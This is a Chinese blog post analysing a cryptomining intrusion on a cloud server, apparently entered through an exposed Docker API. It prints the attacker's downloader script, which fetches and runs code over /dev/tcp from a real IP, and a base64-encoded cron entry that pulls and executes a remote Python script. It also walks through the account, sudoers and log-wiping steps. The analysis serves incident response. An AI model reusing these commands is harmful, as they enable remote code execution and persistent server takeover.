小言_互联网的博客

一次悲惨的被挖矿经历

333人阅读  评论(0)

出品|MS08067实验室(www.ms08067.com)

本文作者:500(Ms08067实验室成员)

500微信(欢迎骚扰交流):

一、事件起因

上周想着部署一个分布式文件系统,我就在阿里云上申请了一台机器,部署了docker并安装Simpledfs,可不想刚云主机刚配置没两天,就发现机器的cpu使用率飙升,控制台各种告警。登录上去先看top一下看看系统的状况,发现这个bash脚本几乎占用了全部cup,估计是被黑了。

 我赶紧去查看机器历史操作,通过history命令查看历史操作,发现内容已经被清空,日志文件也全部被清空,并且docker服务也被关闭了。

 经过排查发现,这台机器开放了ssh服务22端口、本地smtp25端口、sshd守护进程222端口,以及docker服务的端口。对外暴露了ssh,第一个想到的就是先查看一下ssh的版本。

查看该版本中有哪些漏洞可能被攻击者利用,排查了可能被利用的OpenSSH 安全认证绕过漏洞(CVE-2016-10012)、SSH登陆验证绕过漏洞(cve-2018-10933)等漏洞的利用方法,但并没有发现可直接利用并获取到root权限的方法。

那么攻击者有没有可能利用docker的漏洞,然后从容器中逃逸出来呢?这时我想到了docker remote API未授权访问漏洞,攻击者可以利用docker API 2375端口,通过接口执行容器命令。然后将/root/.ssh目录挂载到容器内,进而把ssh公钥写入进去,修改权限为600,然后就可以以root用户登录了。

参考http://blog.nsfocus.net/docker-remote-api-unauthorized-access-vulnerability/

二、我们来看看攻击者做了哪些操作

 1、攻击者创建了一个新的账号,查看

/etc/passwd文件,发现新增了一个用户tech,创建的时间是22:12

tech:x:1000:1000::/home/tech:/bin/bash

  2、攻击者将tech用户加入到wheel组,并且修改了/etc/sudoers文件。(这个文件的权限被篡改过,应该是先加上了写权限,篡改完成后又改回了440权限,并配置了wheel组用户使用sudo到root时不需要输入密码。)

  3、随后攻击者下载了工具集busybox,被阿里云侦测到。

4、攻击者将根目录换成指定的目录,

chroot /mnt /bin/sh -c cd /opt/

并写入z.sh,


   
  1. echo '#!/bin/bash' > z.sh
  2. echo 'read proto server path<<<$(echo ${1 })' >> z.sh
  3. echo 'exec3<>/dev/tcp/42.51.64.146/443' >> z.sh
  4. echo 'echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3' >> z.sh
  5. echo '(while read line; do' >> z.sh
  6. echo '[[ "$line" ==$'\ ''\r '"' "' ]] && break' >> z.sh
  7. echo 'done && cat) <&3'>> z.sh
  8. echo 'exec 3>&-' >> z.sh
  9. bash z.sh zz.sh > zz.sh ; bash zz.sh
  10. rm -rf zz.sh

其中里面包含了一个ip地址,威胁情报信息如下:

在系统的opt目录下,果然存在z.sh


   
  1. #!/bin/bash
  2. read proto server path <<<$( echo ${1 })
  3. exec 3<>/dev/tcp/42.51.64.146/443
  4. echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3
  5. ( while read line; do
  6. [[ "$line" == $ '\r' ]] && break
  7. done && cat) <&3
  8. exec 3>&-

5、攻击者尝试写入后门程序,进行权限维持/usr/sbin/stable 但阿里云盾拦截了该后门程序。

6、22点14分至22点47分这段时间,攻击者kill掉了阿里云盾的防护,并下载挖矿程序。这个过程由于阿里云盾下线,日志被清理。未获取到更多信息。

7、随后,攻击者下载了挖矿程序并进行了安装。在/root/.ssh中出现了xmrig和config.json文件,时间是22:49

Xmirg是一款比特币挖矿软件,可以通过匹配到的矿池内容修改相应的config.json文件。

参考

https://www.dxpool.com/help/zh/kva-mining-tutorial

8、在usr/bin中发现了运行着的bash脚本,应该是运行全套挖矿程序的脚步程序。

查看下Bash脚本的运行状态以及网络连接情况

9、至此攻击者还不满足,他还替换了计划任务文件,设置挖矿的计划任务。

修改了/etc/ssh/sshd_config、/etc/cron.d、/etc/cron.hourly等计划任务文件。

/var/spool/cron/root中的内容如下:


   
  1. */2 * * * * pkill tail >/dev/null2>&1
  2. */2 * * * * pkill masscan >/dev/null2>&1
  3. # https://anonpasta.rocks/raw/atucewakep
  4. # 205.185.113.151\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExMy4xNTEvZC5weSIpLnJlYWQoKSkn(比特币钱包地址)

10、最后,攻击者将系统的日志文件全部删除,包括

/var/log/cron、/var/log/secure、/var/log/messages、/var/log/maillog、/var/log/spooler等。

三、总结

随着数字货币价格的上涨,越来越多的攻击者开始利用系统漏洞进行挖矿,攻击者操作老练,思路清晰,一看就是做过多年的老手了。

大家要加强安全意识,不要将危险端口暴露在公网,及时更新系统组件,并升级安全补丁。

花絮:下面的视频请大家帮忙关注点赞,以获取微信定制红包封皮发给大家!谢谢!

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前35000+人已关注加入我们



转载:https://blog.csdn.net/shuteer_xu/article/details/113764936
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场